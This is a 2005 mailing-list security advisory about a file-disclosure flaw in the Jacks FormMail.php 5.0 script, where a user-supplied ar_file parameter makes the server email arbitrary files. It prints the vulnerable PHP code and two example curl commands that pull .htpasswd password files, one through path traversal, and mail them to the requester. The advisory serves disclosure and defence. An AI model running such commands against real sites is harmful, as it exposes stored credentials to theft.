

[UNIX] Jacks FormMail.php Remote File Access Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-01/0024.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 01/05/05

To: list@securiteam.com

Date: 5 Jan 2005 17:34:06 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Jacks FormMail.php Remote File Access Vulnerability

SUMMARY

<<http://dtheatre.com/scripts/formmail.php>> Jacks FormMail.php script is "a simple PHP script that allows web site owners to easily email form values to themselves without much work or scripting knowledge".

Due to improper sanitation of FormMail.php's ar_file parameter, a remote attacker can use this parameter to cause the server to include arbitrary files in the response it sends back to the user.

DETAILS

Vulnerable Systems:

* Jacks FormMail.php version 5.0

The script currently accepts an auto-reply variable (ar_file) that specifies a filepath to send to the person submitting the form. The problem is that this variable can be defined by the person submitting the form and can be used to have arbitrary server files sent to that person.

Securiteam: [UNIX] Jacks FormMail.php Remote File Access Vulnerability

Solution:

Remove the following code from the FormMail.php script.

```
if (file_exists($ar_file)) {  
    $fd = fopen($ar_file, "rb");  
    $ar_message = fread($fd, filesize($ar_file));  
    fclose($fd);  
    mail_it($ar_message, ($ar_subject)?stripslashes($ar_subject):"RE: Form  
Submission", ($ar_from)?$ar_from:$recipient, $email);  
}
```

Example attack:

Assume the following...

Script Location : <http://yoursite.com/cgi-bin/formmail.php>

Password File Location : <http://yoursite.com/members/.htpasswd>

Use the following curl command to have the password file emailed to you.

```
# curl -e http://yoursite.com/ -d ar_file=./members/.htpasswd -d  
email=you@yoursite.com http://yoursite.com/cgi-bin/formmail.php
```

Depending on permission settings, the .htpasswd could be compromised, even if it is outside of the html folder as in the following example:

```
# curl -e http://yoursite.com/ -d ar_file=../../.htpasswd -d  
email=you@yoursite.com http://yoursite.com/cgi-bin/formmail.php
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:hh@hackhawk.net>> Hack Hawk.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.